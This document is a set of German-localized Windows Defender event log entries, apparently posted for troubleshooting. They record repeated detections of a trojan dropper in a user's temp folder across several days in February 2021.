- <Event xmlns="hxxp://schemas.microsoft.com/win/2004/08/events/event">
- <System>
  <Provider Name="Microsoft-Windows-Windows Defender" Guid="{11cd958a-c507-4ef3-b3f2-5fd9dfbd2c78}" /> 
  <EventID>1116</EventID> 
  <Version>0</Version> 
  <Level>3</Level> 
  <Task>0</Task> 
  <Opcode>0</Opcode> 
  <Keywords>0x8000000000000000</Keywords> 
  <TimeCreated SystemTime="2021-02-03T16:43:28.382641500Z" /> 
  <EventRecordID>5577</EventRecordID> 
  <Correlation /> 
  <Execution ProcessID="4656" ThreadID="7904" /> 
  <Channel>Microsoft-Windows-Windows Defender/Operational</Channel> 
  <Computer>DESKTOP-1E2G5B4</Computer> 
  <Security UserID="S-1-5-18" /> 
  </System>
- <EventData>
  <Data Name="Product Name">Windows Defender Antivirus</Data> 
  <Data Name="Product Version">4.18.2011.6</Data> 
  <Data Name="Detection ID">{99943ACF-D1CA-4EDF-8FCB-767E4BAA75AA}</Data> 
  <Data Name="Detection Time">2021-02-03T16:43:28.356Z</Data> 
  <Data Name="Unused" /> 
  <Data Name="Unused2" /> 
  <Data Name="Threat ID">2147771646</Data> 
  <Data Name="Threat Name">TrojanDropper:Win64/Tnega!MSR</Data> 
  <Data Name="Severity ID">5</Data> 
  <Data Name="Severity Name">Schwerwiegend</Data> 
  <Data Name="Category ID">37</Data> 
  <Data Name="Category Name">Trojaner - Dropper</Data> 
  <Data Name="FWLink">https://go.microsoft.com/fwlink/?linkid=37020&name=TrojanDropper:Win64/Tnega!MSR&threatid=2147771646&enterprise=0</Data> 
  <Data Name="Status Code">1</Data> 
  <Data Name="Status Description" /> 
  <Data Name="State">1</Data> 
  <Data Name="Source ID">3</Data> 
  <Data Name="Source Name">Echtzeitschutz</Data> 
  <Data Name="Process Name">C:\Program Files (x86)\Windows Photo Viewer\ImagingDevices.exe</Data> 
  <Data Name="Detection User">DESKTOP-1E2G5B4\nadin</Data> 
  <Data Name="Unused3" /> 
  <Data Name="Path">file:_C:\Users\nadin\AppData\Local\Temp\GetX64BTIT.exe</Data> 
  <Data Name="Origin ID">1</Data> 
  <Data Name="Origin Name">Lokaler Computer</Data> 
  <Data Name="Execution ID">1</Data> 
  <Data Name="Execution Name">Angehalten</Data> 
  <Data Name="Type ID">0</Data> 
  <Data Name="Type Name">Konkret</Data> 
  <Data Name="Pre Execution Status">0</Data> 
  <Data Name="Action ID">9</Data> 
  <Data Name="Action Name">Nicht verfügbar</Data> 
  <Data Name="Unused4" /> 
  <Data Name="Error Code">0x00000000</Data> 
  <Data Name="Error Description">Der Vorgang wurde erfolgreich beendet.</Data> 
  <Data Name="Unused5" /> 
  <Data Name="Post Clean Status">0</Data> 
  <Data Name="Additional Actions ID">0</Data> 
  <Data Name="Additional Actions String">No additional actions required</Data> 
  <Data Name="Remediation User" /> 
  <Data Name="Unused6" /> 
  <Data Name="Security intelligence Version">AV: 1.331.57.0, AS: 1.331.57.0, NIS: 1.331.57.0</Data> 
  <Data Name="Engine Version">AM: 1.1.17800.5, NIS: 1.1.17800.5</Data> 
  </EventData>
  </Event>
         

- <Event xmlns="hxxp://schemas.microsoft.com/win/2004/08/events/event">
- <System>
  <Provider Name="Microsoft-Windows-Windows Defender" Guid="{11cd958a-c507-4ef3-b3f2-5fd9dfbd2c78}" /> 
  <EventID>1116</EventID> 
  <Version>0</Version> 
  <Level>3</Level> 
  <Task>0</Task> 
  <Opcode>0</Opcode> 
  <Keywords>0x8000000000000000</Keywords> 
  <TimeCreated SystemTime="2021-02-04T05:34:09.968624200Z" /> 
  <EventRecordID>5585</EventRecordID> 
  <Correlation /> 
  <Execution ProcessID="4656" ThreadID="4976" /> 
  <Channel>Microsoft-Windows-Windows Defender/Operational</Channel> 
  <Computer>DESKTOP-1E2G5B4</Computer> 
  <Security UserID="S-1-5-18" /> 
  </System>
- <EventData>
  <Data Name="Product Name">Windows Defender Antivirus</Data> 
  <Data Name="Product Version">4.18.2011.6</Data> 
  <Data Name="Detection ID">{C5E02FFD-3C62-41E8-ABC8-9048C442C308}</Data> 
  <Data Name="Detection Time">2021-02-04T05:34:09.604Z</Data> 
  <Data Name="Unused" /> 
  <Data Name="Unused2" /> 
  <Data Name="Threat ID">2147771646</Data> 
  <Data Name="Threat Name">TrojanDropper:Win64/Tnega!MSR</Data> 
  <Data Name="Severity ID">5</Data> 
  <Data Name="Severity Name">Schwerwiegend</Data> 
  <Data Name="Category ID">37</Data> 
  <Data Name="Category Name">Trojaner - Dropper</Data> 
  <Data Name="FWLink">https://go.microsoft.com/fwlink/?linkid=37020&name=TrojanDropper:Win64/Tnega!MSR&threatid=2147771646&enterprise=0</Data> 
  <Data Name="Status Code">1</Data> 
  <Data Name="Status Description" /> 
  <Data Name="State">1</Data> 
  <Data Name="Source ID">3</Data> 
  <Data Name="Source Name">Echtzeitschutz</Data> 
  <Data Name="Process Name">C:\Program Files (x86)\Windows Photo Viewer\ImagingDevices.exe</Data> 
  <Data Name="Detection User">DESKTOP-1E2G5B4\nadin</Data> 
  <Data Name="Unused3" /> 
  <Data Name="Path">file:_C:\Users\nadin\AppData\Local\Temp\GetX64BTIT.exe</Data> 
  <Data Name="Origin ID">1</Data> 
  <Data Name="Origin Name">Lokaler Computer</Data> 
  <Data Name="Execution ID">1</Data> 
  <Data Name="Execution Name">Angehalten</Data> 
  <Data Name="Type ID">0</Data> 
  <Data Name="Type Name">Konkret</Data> 
  <Data Name="Pre Execution Status">0</Data> 
  <Data Name="Action ID">9</Data> 
  <Data Name="Action Name">Nicht verfügbar</Data> 
  <Data Name="Unused4" /> 
  <Data Name="Error Code">0x00000000</Data> 
  <Data Name="Error Description">Der Vorgang wurde erfolgreich beendet.</Data> 
  <Data Name="Unused5" /> 
  <Data Name="Post Clean Status">0</Data> 
  <Data Name="Additional Actions ID">0</Data> 
  <Data Name="Additional Actions String">No additional actions required</Data> 
  <Data Name="Remediation User" /> 
  <Data Name="Unused6" /> 
  <Data Name="Security intelligence Version">AV: 1.331.138.0, AS: 1.331.138.0, NIS: 1.331.138.0</Data> 
  <Data Name="Engine Version">AM: 1.1.17800.5, NIS: 1.1.17800.5</Data> 
  </EventData>
  </Event>
         

- <Event xmlns="hxxp://schemas.microsoft.com/win/2004/08/events/event">
- <System>
  <Provider Name="Microsoft-Windows-Windows Defender" Guid="{11cd958a-c507-4ef3-b3f2-5fd9dfbd2c78}" /> 
  <EventID>1116</EventID> 
  <Version>0</Version> 
  <Level>3</Level> 
  <Task>0</Task> 
  <Opcode>0</Opcode> 
  <Keywords>0x8000000000000000</Keywords> 
  <TimeCreated SystemTime="2021-02-04T13:19:44.409357600Z" /> 
  <EventRecordID>5591</EventRecordID> 
  <Correlation /> 
  <Execution ProcessID="4656" ThreadID="4976" /> 
  <Channel>Microsoft-Windows-Windows Defender/Operational</Channel> 
  <Computer>DESKTOP-1E2G5B4</Computer> 
  <Security UserID="S-1-5-18" /> 
  </System>
- <EventData>
  <Data Name="Product Name">Windows Defender Antivirus</Data> 
  <Data Name="Product Version">4.18.2011.6</Data> 
  <Data Name="Detection ID">{E9B6C0A8-6509-4B73-BA2F-2371061F51C3}</Data> 
  <Data Name="Detection Time">2021-02-04T13:19:44.374Z</Data> 
  <Data Name="Unused" /> 
  <Data Name="Unused2" /> 
  <Data Name="Threat ID">2147771646</Data> 
  <Data Name="Threat Name">TrojanDropper:Win64/Tnega!MSR</Data> 
  <Data Name="Severity ID">5</Data> 
  <Data Name="Severity Name">Schwerwiegend</Data> 
  <Data Name="Category ID">37</Data> 
  <Data Name="Category Name">Trojaner - Dropper</Data> 
  <Data Name="FWLink">https://go.microsoft.com/fwlink/?linkid=37020&name=TrojanDropper:Win64/Tnega!MSR&threatid=2147771646&enterprise=0</Data> 
  <Data Name="Status Code">1</Data> 
  <Data Name="Status Description" /> 
  <Data Name="State">1</Data> 
  <Data Name="Source ID">3</Data> 
  <Data Name="Source Name">Echtzeitschutz</Data> 
  <Data Name="Process Name">C:\Program Files (x86)\Windows Photo Viewer\ImagingDevices.exe</Data> 
  <Data Name="Detection User">DESKTOP-1E2G5B4\nadin</Data> 
  <Data Name="Unused3" /> 
  <Data Name="Path">file:_C:\Users\nadin\AppData\Local\Temp\GetX64BTIT.exe</Data> 
  <Data Name="Origin ID">1</Data> 
  <Data Name="Origin Name">Lokaler Computer</Data> 
  <Data Name="Execution ID">1</Data> 
  <Data Name="Execution Name">Angehalten</Data> 
  <Data Name="Type ID">0</Data> 
  <Data Name="Type Name">Konkret</Data> 
  <Data Name="Pre Execution Status">0</Data> 
  <Data Name="Action ID">9</Data> 
  <Data Name="Action Name">Nicht verfügbar</Data> 
  <Data Name="Unused4" /> 
  <Data Name="Error Code">0x00000000</Data> 
  <Data Name="Error Description">Der Vorgang wurde erfolgreich beendet.</Data> 
  <Data Name="Unused5" /> 
  <Data Name="Post Clean Status">0</Data> 
  <Data Name="Additional Actions ID">0</Data> 
  <Data Name="Additional Actions String">No additional actions required</Data> 
  <Data Name="Remediation User" /> 
  <Data Name="Unused6" /> 
  <Data Name="Security intelligence Version">AV: 1.331.138.0, AS: 1.331.138.0, NIS: 1.331.138.0</Data> 
  <Data Name="Engine Version">AM: 1.1.17800.5, NIS: 1.1.17800.5</Data> 
  </EventData>
  </Event>
         

- <Event xmlns="hxxp://schemas.microsoft.com/win/2004/08/events/event">
- <System>
  <Provider Name="Microsoft-Windows-Windows Defender" Guid="{11cd958a-c507-4ef3-b3f2-5fd9dfbd2c78}" /> 
  <EventID>1002</EventID> 
  <Version>0</Version> 
  <Level>3</Level> 
  <Task>0</Task> 
  <Opcode>0</Opcode> 
  <Keywords>0x8000000000000000</Keywords> 
  <TimeCreated SystemTime="2021-02-04T15:49:55.975128100Z" /> 
  <EventRecordID>5598</EventRecordID> 
  <Correlation /> 
  <Execution ProcessID="4656" ThreadID="10616" /> 
  <Channel>Microsoft-Windows-Windows Defender/Operational</Channel> 
  <Computer>DESKTOP-1E2G5B4</Computer> 
  <Security UserID="S-1-5-18" /> 
  </System>
- <EventData>
  <Data Name="Product Name">Windows Defender Antivirus</Data> 
  <Data Name="Product Version">4.18.2011.6</Data> 
  <Data Name="Scan ID">{CCFC334A-AAB2-4242-B4F2-6A3C2148B6DA}</Data> 
  <Data Name="Scan Type Index">1</Data> 
  <Data Name="Scan Type">Antimalware</Data> 
  <Data Name="Scan Parameters Index">1</Data> 
  <Data Name="Scan Parameters">Schnellüberprüfung</Data> 
  <Data Name="Domain">NT-AUTORITÄT</Data> 
  <Data Name="User">SYSTEM</Data> 
  <Data Name="SID">S-1-5-18</Data> 
  </EventData>
  </Event>
         

- <Event xmlns="hxxp://schemas.microsoft.com/win/2004/08/events/event">
- <System>
  <Provider Name="Microsoft-Windows-Windows Defender" Guid="{11cd958a-c507-4ef3-b3f2-5fd9dfbd2c78}" /> 
  <EventID>1116</EventID> 
  <Version>0</Version> 
  <Level>3</Level> 
  <Task>0</Task> 
  <Opcode>0</Opcode> 
  <Keywords>0x8000000000000000</Keywords> 
  <TimeCreated SystemTime="2021-02-04T16:46:18.116462300Z" /> 
  <EventRecordID>5685</EventRecordID> 
  <Correlation /> 
  <Execution ProcessID="4840" ThreadID="6640" /> 
  <Channel>Microsoft-Windows-Windows Defender/Operational</Channel> 
  <Computer>DESKTOP-1E2G5B4</Computer> 
  <Security UserID="S-1-5-18" /> 
  </System>
- <EventData>
  <Data Name="Product Name">Windows Defender Antivirus</Data> 
  <Data Name="Product Version">4.18.2011.6</Data> 
  <Data Name="Detection ID">{60868DE6-B162-4114-8C64-397C01F18171}</Data> 
  <Data Name="Detection Time">2021-02-04T16:46:18.095Z</Data> 
  <Data Name="Unused" /> 
  <Data Name="Unused2" /> 
  <Data Name="Threat ID">2147771646</Data> 
  <Data Name="Threat Name">TrojanDropper:Win64/Tnega!MSR</Data> 
  <Data Name="Severity ID">5</Data> 
  <Data Name="Severity Name">Schwerwiegend</Data> 
  <Data Name="Category ID">37</Data> 
  <Data Name="Category Name">Trojaner - Dropper</Data> 
  <Data Name="FWLink">https://go.microsoft.com/fwlink/?linkid=37020&name=TrojanDropper:Win64/Tnega!MSR&threatid=2147771646&enterprise=0</Data> 
  <Data Name="Status Code">1</Data> 
  <Data Name="Status Description" /> 
  <Data Name="State">1</Data> 
  <Data Name="Source ID">3</Data> 
  <Data Name="Source Name">Echtzeitschutz</Data> 
  <Data Name="Process Name">C:\Program Files (x86)\Windows Photo Viewer\ImagingDevices.exe</Data> 
  <Data Name="Detection User">DESKTOP-1E2G5B4\nadin</Data> 
  <Data Name="Unused3" /> 
  <Data Name="Path">file:_C:\Users\nadin\AppData\Local\Temp\GetX64BTIT.exe</Data> 
  <Data Name="Origin ID">1</Data> 
  <Data Name="Origin Name">Lokaler Computer</Data> 
  <Data Name="Execution ID">1</Data> 
  <Data Name="Execution Name">Angehalten</Data> 
  <Data Name="Type ID">0</Data> 
  <Data Name="Type Name">Konkret</Data> 
  <Data Name="Pre Execution Status">0</Data> 
  <Data Name="Action ID">9</Data> 
  <Data Name="Action Name">Nicht verfügbar</Data> 
  <Data Name="Unused4" /> 
  <Data Name="Error Code">0x00000000</Data> 
  <Data Name="Error Description">Der Vorgang wurde erfolgreich beendet.</Data> 
  <Data Name="Unused5" /> 
  <Data Name="Post Clean Status">0</Data> 
  <Data Name="Additional Actions ID">0</Data> 
  <Data Name="Additional Actions String">No additional actions required</Data> 
  <Data Name="Remediation User" /> 
  <Data Name="Unused6" /> 
  <Data Name="Security intelligence Version">AV: 1.331.138.0, AS: 1.331.138.0, NIS: 1.331.138.0</Data> 
  <Data Name="Engine Version">AM: 1.1.17800.5, NIS: 1.1.17800.5</Data> 
  </EventData>
  </Event>
         

- <Event xmlns="hxxp://schemas.microsoft.com/win/2004/08/events/event">
- <System>
  <Provider Name="Microsoft-Windows-Windows Defender" Guid="{11cd958a-c507-4ef3-b3f2-5fd9dfbd2c78}" /> 
  <EventID>1116</EventID> 
  <Version>0</Version> 
  <Level>3</Level> 
  <Task>0</Task> 
  <Opcode>0</Opcode> 
  <Keywords>0x8000000000000000</Keywords> 
  <TimeCreated SystemTime="2021-02-07T19:11:20.261534000Z" /> 
  <EventRecordID>5767</EventRecordID> 
  <Correlation /> 
  <Execution ProcessID="4840" ThreadID="9104" /> 
  <Channel>Microsoft-Windows-Windows Defender/Operational</Channel> 
  <Computer>DESKTOP-1E2G5B4</Computer> 
  <Security UserID="S-1-5-18" /> 
  </System>
- <EventData>
  <Data Name="Product Name">Windows Defender Antivirus</Data> 
  <Data Name="Product Version">4.18.2011.6</Data> 
  <Data Name="Detection ID">{A62E6830-A3A6-4069-9729-041AF794840C}</Data> 
  <Data Name="Detection Time">2021-02-07T19:11:19.928Z</Data> 
  <Data Name="Unused" /> 
  <Data Name="Unused2" /> 
  <Data Name="Threat ID">2147771646</Data> 
  <Data Name="Threat Name">TrojanDropper:Win64/Tnega!MSR</Data> 
  <Data Name="Severity ID">5</Data> 
  <Data Name="Severity Name">Schwerwiegend</Data> 
  <Data Name="Category ID">37</Data> 
  <Data Name="Category Name">Trojaner - Dropper</Data> 
  <Data Name="FWLink">https://go.microsoft.com/fwlink/?linkid=37020&name=TrojanDropper:Win64/Tnega!MSR&threatid=2147771646&enterprise=0</Data> 
  <Data Name="Status Code">1</Data> 
  <Data Name="Status Description" /> 
  <Data Name="State">1</Data> 
  <Data Name="Source ID">3</Data> 
  <Data Name="Source Name">Echtzeitschutz</Data> 
  <Data Name="Process Name">C:\Program Files (x86)\Windows Photo Viewer\ImagingDevices.exe</Data> 
  <Data Name="Detection User">DESKTOP-1E2G5B4\nadin</Data> 
  <Data Name="Unused3" /> 
  <Data Name="Path">file:_C:\Users\nadin\AppData\Local\Temp\GetX64BTIT.exe</Data> 
  <Data Name="Origin ID">1</Data> 
  <Data Name="Origin Name">Lokaler Computer</Data> 
  <Data Name="Execution ID">1</Data> 
  <Data Name="Execution Name">Angehalten</Data> 
  <Data Name="Type ID">0</Data> 
  <Data Name="Type Name">Konkret</Data> 
  <Data Name="Pre Execution Status">0</Data> 
  <Data Name="Action ID">9</Data> 
  <Data Name="Action Name">Nicht verfügbar</Data> 
  <Data Name="Unused4" /> 
  <Data Name="Error Code">0x00000000</Data> 
  <Data Name="Error Description">Der Vorgang wurde erfolgreich beendet.</Data> 
  <Data Name="Unused5" /> 
  <Data Name="Post Clean Status">0</Data> 
  <Data Name="Additional Actions ID">0</Data> 
  <Data Name="Additional Actions String">No additional actions required</Data> 
  <Data Name="Remediation User" /> 
  <Data Name="Unused6" /> 
  <Data Name="Security intelligence Version">AV: 1.331.288.0, AS: 1.331.288.0, NIS: 1.331.288.0</Data> 
  <Data Name="Engine Version">AM: 1.1.17800.5, NIS: 1.1.17800.5</Data> 
  </EventData>
  </Event>
         

- <Event xmlns="hxxp://schemas.microsoft.com/win/2004/08/events/event">
- <System>
  <Provider Name="Microsoft-Windows-Windows Defender" Guid="{11cd958a-c507-4ef3-b3f2-5fd9dfbd2c78}" /> 
  <EventID>1116</EventID> 
  <Version>0</Version> 
  <Level>3</Level> 
  <Task>0</Task> 
  <Opcode>0</Opcode> 
  <Keywords>0x8000000000000000</Keywords> 
  <TimeCreated SystemTime="2021-02-07T19:35:56.580863800Z" /> 
  <EventRecordID>5777</EventRecordID> 
  <Correlation /> 
  <Execution ProcessID="4840" ThreadID="12984" /> 
  <Channel>Microsoft-Windows-Windows Defender/Operational</Channel> 
  <Computer>DESKTOP-1E2G5B4</Computer> 
  <Security UserID="S-1-5-18" /> 
  </System>
- <EventData>
  <Data Name="Product Name">Windows Defender Antivirus</Data> 
  <Data Name="Product Version">4.18.2011.6</Data> 
  <Data Name="Detection ID">{E6C1658C-A254-49E7-AB2F-3CC7F446839A}</Data> 
  <Data Name="Detection Time">2021-02-07T19:35:56.564Z</Data> 
  <Data Name="Unused" /> 
  <Data Name="Unused2" /> 
  <Data Name="Threat ID">2147771646</Data> 
  <Data Name="Threat Name">TrojanDropper:Win64/Tnega!MSR</Data> 
  <Data Name="Severity ID">5</Data> 
  <Data Name="Severity Name">Schwerwiegend</Data> 
  <Data Name="Category ID">37</Data> 
  <Data Name="Category Name">Trojaner - Dropper</Data> 
  <Data Name="FWLink">https://go.microsoft.com/fwlink/?linkid=37020&name=TrojanDropper:Win64/Tnega!MSR&threatid=2147771646&enterprise=0</Data> 
  <Data Name="Status Code">1</Data> 
  <Data Name="Status Description" /> 
  <Data Name="State">1</Data> 
  <Data Name="Source ID">3</Data> 
  <Data Name="Source Name">Echtzeitschutz</Data> 
  <Data Name="Process Name">C:\Program Files (x86)\Windows Photo Viewer\ImagingDevices.exe</Data> 
  <Data Name="Detection User">DESKTOP-1E2G5B4\nadin</Data> 
  <Data Name="Unused3" /> 
  <Data Name="Path">file:_C:\Users\nadin\AppData\Local\Temp\GetX64BTIT.exe</Data> 
  <Data Name="Origin ID">1</Data> 
  <Data Name="Origin Name">Lokaler Computer</Data> 
  <Data Name="Execution ID">1</Data> 
  <Data Name="Execution Name">Angehalten</Data> 
  <Data Name="Type ID">0</Data> 
  <Data Name="Type Name">Konkret</Data> 
  <Data Name="Pre Execution Status">0</Data> 
  <Data Name="Action ID">9</Data> 
  <Data Name="Action Name">Nicht verfügbar</Data> 
  <Data Name="Unused4" /> 
  <Data Name="Error Code">0x00000000</Data> 
  <Data Name="Error Description">Der Vorgang wurde erfolgreich beendet.</Data> 
  <Data Name="Unused5" /> 
  <Data Name="Post Clean Status">0</Data> 
  <Data Name="Additional Actions ID">0</Data> 
  <Data Name="Additional Actions String">No additional actions required</Data> 
  <Data Name="Remediation User" /> 
  <Data Name="Unused6" /> 
  <Data Name="Security intelligence Version">AV: 1.331.452.0, AS: 1.331.452.0, NIS: 1.331.452.0</Data> 
  <Data Name="Engine Version">AM: 1.1.17800.5, NIS: 1.1.17800.5</Data> 
  </EventData>
  </Event>
         

- <Event xmlns="hxxp://schemas.microsoft.com/win/2004/08/events/event">
- <System>
  <Provider Name="Microsoft-Windows-Windows Defender" Guid="{11cd958a-c507-4ef3-b3f2-5fd9dfbd2c78}" /> 
  <EventID>1116</EventID> 
  <Version>0</Version> 
  <Level>3</Level> 
  <Task>0</Task> 
  <Opcode>0</Opcode> 
  <Keywords>0x8000000000000000</Keywords> 
  <TimeCreated SystemTime="2021-02-08T19:03:23.530178900Z" /> 
  <EventRecordID>5788</EventRecordID> 
  <Correlation /> 
  <Execution ProcessID="4840" ThreadID="12984" /> 
  <Channel>Microsoft-Windows-Windows Defender/Operational</Channel> 
  <Computer>DESKTOP-1E2G5B4</Computer> 
  <Security UserID="S-1-5-18" /> 
  </System>
- <EventData>
  <Data Name="Product Name">Windows Defender Antivirus</Data> 
  <Data Name="Product Version">4.18.2011.6</Data> 
  <Data Name="Detection ID">{4A8B7EBE-EB44-48FE-A63F-3D611DD07150}</Data> 
  <Data Name="Detection Time">2021-02-08T19:03:23.464Z</Data> 
  <Data Name="Unused" /> 
  <Data Name="Unused2" /> 
  <Data Name="Threat ID">2147771646</Data> 
  <Data Name="Threat Name">TrojanDropper:Win64/Tnega!MSR</Data> 
  <Data Name="Severity ID">5</Data> 
  <Data Name="Severity Name">Schwerwiegend</Data> 
  <Data Name="Category ID">37</Data> 
  <Data Name="Category Name">Trojaner - Dropper</Data> 
  <Data Name="FWLink">https://go.microsoft.com/fwlink/?linkid=37020&name=TrojanDropper:Win64/Tnega!MSR&threatid=2147771646&enterprise=0</Data> 
  <Data Name="Status Code">1</Data> 
  <Data Name="Status Description" /> 
  <Data Name="State">1</Data> 
  <Data Name="Source ID">3</Data> 
  <Data Name="Source Name">Echtzeitschutz</Data> 
  <Data Name="Process Name">C:\Program Files (x86)\Windows Photo Viewer\ImagingDevices.exe</Data> 
  <Data Name="Detection User">DESKTOP-1E2G5B4\nadin</Data> 
  <Data Name="Unused3" /> 
  <Data Name="Path">file:_C:\Users\nadin\AppData\Local\Temp\GetX64BTIT.exe</Data> 
  <Data Name="Origin ID">1</Data> 
  <Data Name="Origin Name">Lokaler Computer</Data> 
  <Data Name="Execution ID">1</Data> 
  <Data Name="Execution Name">Angehalten</Data> 
  <Data Name="Type ID">0</Data> 
  <Data Name="Type Name">Konkret</Data> 
  <Data Name="Pre Execution Status">0</Data> 
  <Data Name="Action ID">9</Data> 
  <Data Name="Action Name">Nicht verfügbar</Data> 
  <Data Name="Unused4" /> 
  <Data Name="Error Code">0x00000000</Data> 
  <Data Name="Error Description">Der Vorgang wurde erfolgreich beendet.</Data> 
  <Data Name="Unused5" /> 
  <Data Name="Post Clean Status">0</Data> 
  <Data Name="Additional Actions ID">0</Data> 
  <Data Name="Additional Actions String">No additional actions required</Data> 
  <Data Name="Remediation User" /> 
  <Data Name="Unused6" /> 
  <Data Name="Security intelligence Version">AV: 1.331.452.0, AS: 1.331.452.0, NIS: 1.331.452.0</Data> 
  <Data Name="Engine Version">AM: 1.1.17800.5, NIS: 1.1.17800.5</Data> 
  </EventData>
  </Event>